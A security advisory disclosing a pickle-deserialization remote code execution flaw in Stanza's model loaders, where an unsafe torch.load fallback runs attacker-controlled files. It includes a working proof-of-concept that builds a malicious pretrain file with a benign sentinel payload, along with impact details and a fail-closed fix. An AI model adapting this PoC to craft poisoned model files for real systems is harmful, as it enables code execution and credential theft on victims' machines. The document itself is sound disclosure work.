Stanza: Remote Code Execution via Unsafe Pickle Deserialization in Model Loaders

Summary

Stanza 1.12.0 attempts to safely load PyTorch checkpoint files using torch.load(..., weights_only=True), but automatically falls back to the fully unsafe torch.load(..., weights_only=False) when the safe load raises pickle.UnpicklingError. Because the UnpicklingError condition is fully attacker-controllable, any .pt file that contains a single unsupported pickle global will trigger it.

An attacker who can place a malicious pretrain or model file on disk (via supply-chain compromise, a poisoned model repository, or a shared model cache) can achieve arbitrary code execution on any machine that loads a Stanza NLP pipeline.

Code execution occurs inside the Stanza pretrain-loading API, not merely by calling torch.load directly.

Details

The vulnerable code is in pretrain.py#L59-L67 (Stanza 1.12.0):

try:
    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)
except UnpicklingError:
    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=False)

When weights_only=True is passed, PyTorch's deserializer raises pickle.UnpicklingError for any object whose class or callable is not on the safe-globals allowlist. This is the intended safety mechanism. However, Stanza catches that exception and immediately reloads the same attacker-controlled file with weights_only=False, which invokes Python's full pickle deserializer and executes any __reduce__ method in the file without restriction.

The fallback is triggered reliably and intentionally: an attacker embeds one unsupported pickle global (e.g., builtins.open) anywhere in an otherwise structurally valid Stanza pretrain state dict. The safe load rejects it; the unsafe reload runs it.

The same try/except pattern exists in at least five additional loaders in Stanza 1.12.0:

| File | Lines | |------|-------| | stanza/models/common/pretrain.py | 64–66 | | stanza/models/coref/model.py | 251–253, 329–331 | | stanza/models/classifiers/trainer.py | 80–82 | | stanza/models/constituency/base_trainer.py | 94–96 |

Additionally, stanza/models/lemma_classifier/base_model.py:127 calls torch.load(filename, lambda storage, loc: storage) with no weights_only argument at all, which defaults to False on any PyTorch < 2.6.

The call chain from the public API to the vulnerable fallback is:

stanza.models.common.foundation_cache.load_pretrain(path)
  → FoundationCache.load_pretrain(path)
    → stanza.models.common.pretrain.Pretrain(filename)
      → Pretrain.emb  (property access triggers load)
        → Pretrain.load()
          → torch.load(..., weights_only=True)   # raises UnpicklingError
          → torch.load(..., weights_only=False)  # executes arbitrary pickle

---

PoC

Environment: Python 3.11, stanza==1.12.0, torch==2.12.0

Step 1: Install dependencies:

pip install stanza==1.12.0 torch==2.12.0

Step 2: Save the following as exploit.py:

import os
from pathlib import Path

import torch
import stanza
from stanza.models.common.foundation_cache import FoundationCache, load_pretrain
from stanza.models.common.vocab import VOCAB_PREFIX

SENTINEL = "/tmp/stanza_rce_proof"
MODEL    = "/tmp/stanza_malicious.pt"

class HarmlessPayload:
    """Demonstrates execution; writes a sentinel file."""
    def __init__(self, path):
        self.path = path
    def __reduce__(self):
        return (open, (self.path, "w"))

# Build a structurally valid Stanza pretrain state dict with the payload embedded.
words = VOCAB_PREFIX + ["hello"]
state = {
    "vocab": {
        "lang": "", "idx": 0, "cutoff": 0, "lower": False,
        "_id2unit": words,
        "_unit2id": {w: i for i, w in enumerate(words)},
    },
    "emb": torch.zeros((len(words), 2), dtype=torch.float32),
    "payload": HarmlessPayload(SENTINEL),   # ← the malicious object
}
torch.save(state, MODEL)

# Confirm safe-only load raises UnpicklingError and does NOT create sentinel.
try:
    torch.load(MODEL, lambda s, l: s, weights_only=True)
    print("UNEXPECTED: safe load succeeded (no fallback needed)")
except Exception as e:
    print(f"Control: safe load raised {type(e).__name__} : sentinel exists: {Path(SENTINEL).exists()}")

# Load through the real Stanza API. The fallback fires and the sentinel is created.
cache   = FoundationCache()
pretrain = load_pretrain(MODEL, foundation_cache=cache)

print(f"stanza={stanza.__version__}  torch={torch.__version__}")
print(f"emb_shape={tuple(pretrain.emb.shape)}")
print(f"sentinel_exists={Path(SENTINEL).exists()}")
print("VERDICT: ACTUAL_VULN_REAL_STANZA_PATH" if Path(SENTINEL).exists() else "VERDICT: UNPROVEN")

Step 3 : Run:

python exploit.py

Expected output (confirmed):

Control: safe load raised UnpicklingError : sentinel exists: False
stanza=1.12.0  torch=2.12.0
emb_shape=(5, 2)
sentinel_exists=True
VERDICT: ACTUAL_VULN_REAL_STANZA_PATH

The sentinel is created exclusively by the Stanza pretrain-loading API invoking the unsafe fallback : not by a direct torch.load call in the PoC.

---

Impact

Vulnerability class: CWE-502 : Deserialization of Untrusted Data

Who is impacted: Any user, researcher, CI/CD pipeline, or production NLP service that loads a Stanza model pretrain file from a source that is not under the victim's exclusive cryptographic control. Concretely:

• Developers who run stanza.Pipeline(lang) after downloading models from HuggingFace or GitHub
• CI pipelines that automatically refresh Stanza models during builds
• Research environments that share pretrain files over shared network storage or model repositories

Attack prerequisites: The attacker must be able to place a malicious .pt pretrain file at a path that Stanza will load. Realistic delivery vectors include:

• Compromise of a HuggingFace model repository hosting Stanza pretrain weights
• Poisoning of a shared model cache directory (NFS, S3, artifact store)
• A malicious pretrain file distributed via a third-party fine-tuning hub or research repo

What an attacker achieves: Arbitrary code execution with the full privileges of the process running stanza.Pipeline(), typically a developer workstation, a Jupyter notebook server, or a GPU training node. This allows credential theft (HuggingFace tokens, cloud IAM keys from environment variables), persistent backdoors, data exfiltration, and lateral movement in multi-tenant training infrastructure.

Recommended fix:

Remove the unsafe fallback entirely. If weights_only=True raises UnpicklingError, fail closed:

try:
    data = torch.load(self.filename, lambda storage, loc: storage, weights_only=True)
except UnpicklingError as e:
    raise RuntimeError(
        f"Refusing to load legacy pretrain file {self.filename!r} with unsafe "
        "deserialization. Regenerate the file using a trusted Stanza migration tool."
    ) from e

If legacy NumPy-containing pretrain files must be supported, use PyTorch's add_safe_globals() API to allowlist the specific NumPy dtypes required, rather than disabling all safety checks. Apply the same fix to all six affected loaders listed above.